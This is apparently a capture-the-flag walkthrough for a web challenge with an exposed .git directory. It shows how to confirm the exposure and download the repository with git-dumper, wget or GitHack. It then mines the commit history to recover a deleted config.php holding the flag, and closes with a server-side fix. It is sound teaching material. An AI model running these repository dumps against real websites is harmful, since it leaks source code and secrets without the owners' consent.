A corporate website looks ordinary, but beneath its surface lurks a developer's mistake that exposes everything. An exposed .git directory sits on the production server, ready to reveal its secrets to anyone who knows where to look. Dive into version control history, reconstruct deleted files, and uncover sensitive information that should never have made it to production. Can you extract the flag from the depths of Git history?
When you access the challenge, you'll see a standard corporate website. The vulnerability lies in an exposed .git directory that shouldn't be publicly accessible.
<target-ip>/.git/HEAD<target-ip>/.git/configref: refs/heads/master for HEAD), the .git directory is exposed and you can proceed with downloading it.Once you've confirmed the .git directory is accessible, you need to download it. There are several effective methods:
# Install git-dumper
pip3 install git-dumper
# Download the repository
git-dumper <target-ip>/.git/ ./downloaded-repo
# Navigate to the downloaded repository
cd downloaded-repowget --mirror --no-parent --reject="index.html*" \
--convert-links --adjust-extension \
<target-ip>/.git/git clone https://github.com/lijiejie/GitHack.git
cd GitHack
python GitHack.py <target-ip>/.git/With the repository downloaded, you can now analyze its complete history to find sensitive information.
# View commit history
git log --oneline
# View detailed history with changes
git log --stat
# Search for deleted files
git log --diff-filter=D --summary
# Search for specific content in history
git log --all -S 'flag'
git log --all -S 'password'
git log --all -S 'config'Files deleted from the working directory remain in Git history and can be recovered. The flag is hidden in a deleted configuration file.
# List all deleted files
git log --diff-filter=D --summary | grep delete
# Search for config.php specifically
git log --all -- config.php# Show file from specific commit
git show <commit-hash>:config.php
# Or view the commit before deletion
git show HEAD~X:config.phpdefine('FLAG', '...'); in the deleted config.php file. This is your challenge flag.If you're having trouble locating the flag, try these advanced techniques:
# Search for UUID-formatted strings
git grep -E '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}' \
$(git rev-list --all)# Look for flag-related commits
git log --all --grep='flag' -i
git log --all --grep='config' -i# See what changed in each commit
git log --all --oneline --name-statuslocation ~ /\.git { deny all; return 404; } and use proper CI/CD pipelines that deploy only necessary files, never entire repositories.Choose how you want to get started
Choose a username to get started
We've sent a 9-character code to your email